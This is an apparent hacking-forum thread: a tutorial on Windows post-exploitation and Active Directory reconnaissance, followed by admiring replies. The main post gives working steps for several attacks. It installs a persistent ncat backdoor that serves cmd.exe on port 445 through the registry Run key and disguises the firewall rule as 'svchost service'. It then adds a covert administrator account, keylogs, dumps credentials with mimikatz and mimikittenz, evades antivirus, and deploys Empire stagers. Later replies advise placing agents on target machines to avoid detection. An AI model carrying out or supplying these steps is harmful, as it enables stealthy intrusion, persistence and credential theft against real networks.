

Forum:[Hack Forums](#)

Thread: [Windows Post Exploitation & AD Hunting](#)

CyberStrike - October 6, 2017, 5:34 pm

Note: Administrator or System required if you are not a privileged user refer below for privesc*

Ncat persistent backdoor on windows machine :

Upload ncat

Step 1: Check the existing autoruns using either cmd or powershell

Code reg enumkey -k HKLM\software\microsoft\windows\currentversion\run
Step 2: Setting value to auto-run in registry with ncat set to listen on a specific power and upon a session being started a cmd is piped to the user in the sessions

Code reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 445 -e cmd.exe'
Renaming ncat to something that would fit into the system in order to better blend in is a must.

Step 3: Double check that the key value took was succesful

Code reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v nc
Step 4: Check the firewall

Code netsh firewall show opmode

netsh firewall show portopening
First we are checking the operational mode to make check if the firewall is working and the next command is to check if the firewall is working what ports are already allowed.

Code netsh advfirewall firewall add rule name="svchost service" dir=in action=allow protocol=TCP localport=445

Here we have added a firewall rule called "SVCHOST service" the name is important in order to better blend into a network environment. If needed edit the command above as needed for your particular installation settings.

Step 5: Check that the firewall rule took

Code netsh firewall show portopening
Other uses for Ncat include file transfers, redirecting traffic, connecting to another machine, and other uses.

Adding New User for persistence:

Step 1: Ensuring that you are Administrator on the target computer also make sure that the user created is part of the Administrators group. Ensuring that the username which you are creating conforms to username conventions of the target is important.

Check the current users and localgroups using

Code net user

net localgroup
You may check further details of a user account by using

Code net user UserName
Creation of new user locally and adding to localgroup Administrators

Code net user /add [username] [password]

`net localgroup administrators [username] /add` Now you have a new user name which is part of the Administrators group of that local machine which allows one to install and configure the system to conduct further actions with in the target network. In meterpreter `add_user/add_localgroup_user` are also an option here.

Migrating to another process

While in meterpreter you can move from one process to a more stable process such as `explorer.exe`

Step 1:

Listing of processes on the target :

Code `ps` or `getpid`

Step 2:
Migration to another processes

Code `migrate PSID` ex `migrate 1234` Migrating to another process is important in order to not have the user accidentally close the session if they are monitoring processes.

ScreenShot:

A screen shot would be helpful in quickly getting information on a target user. This can be used to determine what applications are currently being run and gives a good situational awareness.

Step 1:

Code `screenshot`

Keylogger:
Using a keylogger on a target machine can help in discovering passwords of a target

Step 1:

Code `run keylogrecorder` Note: A stand alone keylogger will be used outside of meterpreter during engagements.

BloodHound:

BloodHound ACL is a tool which puts the days of user hunting to rest. This guide assumes that you have installed BloodHound and corresponding dependencies and have Neo4J setup. BloodHound allows an attacker to find out the following:

1. Who is logged in where
2. Who is Administrator
3. Who belongs to what groups
4. Who has the ability to change other user groups

First an attacker must set the powershell execution policy in cmd type:

Code `Powershell -Exec Bypass` Running BloodHound Powershell script. You can always change the “.ps1” extension to “.psm1” thus making it a module in order to use `import-module` into a target but it is just as easy to run an instance of the script and cleanup on the target and xfil the corresponding csv file.

Code `Invoke-BloodHound -CSVPrefix C:\temp\DomainName` While one is able to export the information straight to Neo4j it is recommended for Operational Security (OPSEC) purposes it is strongly suggested not to do so, unless all C2 infrastructure is in place.

After xfil of the csv is created you will now have to “upload” the data to BloodHound, which is completed easily as the fourth button from the top is “Upload Data”. Searching in BloodHound is quite easy to be done expect a few seconds per user in the Active Directory Forrest so if you are in a large corporate environment it may take a bit.

As a note to the operator remember that if the a Domain Admin has logged in or logs in you may use Pass The Hash (PTH). In addition the KRBTGT account is disabled by default, although the hash of this account is used for Kerberos Ticket generation. Compromising of this account unless disabled by the Administrator allows an attacker to create their own Kerberos Tickets.

Continued

Mimikatz and Mimikittenz:

Mimikatz is a well known tool for extracting hashes, plain text, kerberos tickets, pass the hash, and other functions from memory of a target machine. Mimikatz is integrated in Metasploit so it can be easily brought to bear in an engagement. It is strongly suggested that an operator go check the mimikatz wiki.

Uploading mimikatz to the target is important and will be the first step remember bypassing AV is important an operator may want to consider using “hashclash” as to fake the hash to mimic iexplore for example, or any other method an operator wishes to implement.

Code Upload /root/desktop/mimikatz.exe c:\\Denote “c:\\” this is required.

For a full password dump use the following:

Code sekurlsa::logonPasswords fullMimikittenz:

Mimikittenz is used in a non-privileged user scenario and can dump multiple accounts for gmail, slack, and many others. Consider using this on a non High Value Target (HVT)

Code Invoke-mimikittenz

Final Note, Mimikatz allows for kerberos golden ticket stealing as well and in AD environment is a valuable tool to an operator.

Empire:

Empire creates a payload and allows for a listener and has many post exploitation tools and even allows a hand off to Metasploit meterpreter. Empire has a command and functionality much like Metasploit.

Create a listener

Code uselistener

infoSet the listener options based upon what you plan on using for a stager. Once complete you will run

Code executeNow you will have to create a stager and check what options are available.

Payload by using

Code usestager windows/launcher_bat

show infoAfter setting the options corresponding with the listener you created above you will run

Code executeAfter the target has executed our stager it will now be our “agent”, which can be listed after issuing the following command.

Code agentsAfter successful connection we now may select from various modules by issuing the

following command

Code usemodule OS/Module

Empire as well allows for many of the post exploitation tools as mimikatz although outside of the metasploit it does allow for hand off to meterpreter, and has the ability for automation with "DeathStar" for near automatic engagements in AD.

Baud - October 8, 2017, 7:11 am

I'm surprised nobody is commenting on this, it's a very nice tutorial and I hope to see more from you, people who are interested in real hacking should give this a careful read and learn.

CyberStrike - October 8, 2017, 12:53 pm

Baud, thank you I appreciate it. You maybe the only one that reads my tutorials,, I think I need to include pics or something.

Edit: More tutorials Windows Information Gathering and Situational Awareness, Linux Information Gathering and Situational Awareness, Linux Post exploitation and Persistence, then to OSX. So much more to come. In addition tutorial on how to build a domain reputation which is helpful during phishing campaigns, as well a small write up on Dirty Exploitation/Post Exploitation Tricks, which will encompass all of the tutorials and how to implement the technical information with practical uses.

Baud - October 8, 2017, 1:51 pm

Some pictures would make the thread better to look at but to be honest they aren't really needed, you could however format the text better by using more spaces to separate paragraphs and code tags, making everything easier to read and go through faster. As of the content you provide I have nothing but respect to give, these are high quality tutorials and it disappoints me seeing how few people see them, probably because few people on this forum take hacking seriously, sadly some people give up after discovering hacking is not easy or for everyone, and the others are still at the beginning with few exceptions, this last category of people are probably the only ones who read through these more advanced threads.

I'm also looking forward to see what you will post in the future, hopefully these threads will get more popular soon getting the attention they deserve, it's sad seeing threads about SQL injection being so popular and these more important topics getting buried.

CyberStrike - October 8, 2017, 2:09 pm

Well SQLi is a bit more common to come across, in fact there is a thread where a guy gets an OS shell and wants to enable RDP <https://hackforums.net/showthread.php?tid=5718716> . So post exploitation is important, if one wants to accomplish more. But next posts I will format it better, I write them all up first in writer and after they are done I post them here, got about 40 pages so far btw.

Baud - October 8, 2017, 3:05 pm

SQL injection is easy to spot and most of the times it's just as easy to exploit thanks to the hundreds of detailed tutorials and automated tools, I believe this is the reason why it's so popular between wannabe hackers even if it's recently been getting rarer because developers are finally becoming more aware of software security, also since it's one single attack I consider post exploitation in general to be more important, being a whole step of the hacking process. So seeing this sort of tutorials popping up every once in a while is always nice, it seems like you got a lot of material, hopefully you will publish it soon because you got me very curious now.

CyberStrike - October 8, 2017, 3:44 pm

No worries I have to sanitize it a bit here and there, as lot of these are things I have learned along the way through work and talking shop with other pentesters then I research, note what I learned then I go implement during engagements.

Berry White - November 19, 2017, 4:42 pm

(Oct 8, 2017 03:05 PM)Baud Wrote: [\[CITE\]](#) SQL injection is easy to spot and most of the times it's just as easy to exploit thanks to the hundreds of detailed tutorials and automated tools, I believe this is the reason why it's so popular between wannabe hackers even if it's recently been getting rarer because developers are finally becoming more aware of software security, also since it's one single attack I consider post exploitation in general to be more important, being a whole step of the hacking process. So seeing this sort of tutorials popping up every once in a while is always nice, it seems like you got a lot of material, hopefully you will publish it soon because you got me very curious now. You are partially true. SQL Injection is easy to spot but on some low websites, and it will exist long time. And I don't agree that post exploitation is more important. Don't underestimate power of SQL Injection. Look how many big companies were hacked by SQLi (by method which wannabe can't exploit, like Out of Band SQLi). So don't say something in hacking is more important, everything is equally important. Check SQLi section challenges, and tell me how many challenges from there wannabe can solve manually or with tool. :)

Anyhow sirru5h I really liked this tutorial, hope you won't stop writing tutorials like this. Keep it up buddy! ?

PS: Baud, I love your description.

CyberStrike - November 19, 2017, 6:53 pm

Thank you Berry White, there are several more tutorials as well

<https://hackforums.net/showthread.php?tid=5728866> (Red Team Structure)

<https://hackforums.net/showthread.php?tid=5733292> (Windows info Gathering)

<https://hackforums.net/showthread.php?tid=5726592> (Windows Priv Esc)

<https://hackforums.net/showthread.php?tid=5732104> (Windows Post exploitation and AD Hunting)

<https://hackforums.net/showthread.php?tid=5736611> (Linux info gathering)

<https://hackforums.net/showthread.php?tid=5738524> (Linux Priv Esc & Persistence)

<https://hackforums.net/showthread.php?tid=5751343> (OSX Info Gathering) (not too common)

<https://hackforums.net/showthread.php?tid=5742945> (RedTeam Infrastructure)

The_Defiant_One - November 20, 2017, 6:16 am

Great stuff here. Looking forward to more tutorials and thanks for sharing.

Berry White - November 20, 2017, 6:53 pm

(Nov 19, 2017 07:53 PM)sirru5h Wrote: [\[CITE\]](#) Thank you Berry White, there are several more tutorials as well

<https://hackforums.net/showthread.php?tid=5728866> (Red Team Structure)

<https://hackforums.net/showthread.php?tid=5733292> (Windows info Gathering)

<https://hackforums.net/showthread.php?tid=5726592> (Windows Priv Esc)

<https://hackforums.net/showthread.php?tid=5732104> (Windows Post exploitation and AD Hunting)

<https://hackforums.net/showthread.php?tid=5736611> (Linux info gathering)

<https://hackforums.net/showthread.php?tid=5738524> (Linux Priv Esc & Persistence)

<https://hackforums.net/showthread.php?tid=5751343> (OSX Info Gathering) (not too common)

<https://hackforums.net/showthread.php?tid=5742945> (RedTeam Infrastructure)

Oh my god!! Thank you for this man. Much appreciate!!

CyberStrike - November 20, 2017, 7:28 pm

Awesome hope you like them btw next I will be doing an OSX Privilege Escalation tutorial.

drillBYTE - November 20, 2017, 11:20 pm

Thanks for this - Was still using UserHunter etc to find domain admins etc but DeathStar seems to do all the work for you. This is the first time I have heard of DeathStar and needing it for my current situation.

CyberStrike - November 20, 2017, 11:42 pm

Excellent glad this will help you, not sure if I mentioned it or not but you can always send an empire session to metasploit.

drillBYTE - November 20, 2017, 11:52 pm

Ah cool - Will see if I can get hold of the dev of DeathStar - Got a question relating to the Empire Agent. Well maybe you can help, it states I need to put an agent onto a computer which is joined to the domain, but what if I can connect my VPS to that domain already using credentials? Can I install the agent on the VPS directly or do I still need to put it on another computer?

CyberStrike - November 21, 2017, 12:15 am

Hmm ... I would use one of the target machines honestly. Remember that part of AD compromising is trust between computers also that sometimes there is logging of users and what machine that they are on .

drillBYTE - November 21, 2017, 12:21 am

(Nov 21, 2017 01:15 AM)sirru5h Wrote: [\[CITE\]](#) Hmm ... I would use one of the target machines honestly. Remember that part of AD compromising is trust between computers also that sometimes there is logging of users and what machine that they are on .

Thanks - Will see what I can do. Wonder if Cobalt will have this module installed.

CyberStrike - November 21, 2017, 12:26 am

Awesome always glad to help cobalt strike pretty good tool there, when I start up my own pentesting company I plan on more than likely using it. Not sure though if it has a agressor/cortana script they may if I run into one I will PM you if that is okay.

lckoufc - November 21, 2017, 9:26 am

Gonna try in the next pentest.

Thanks a lot

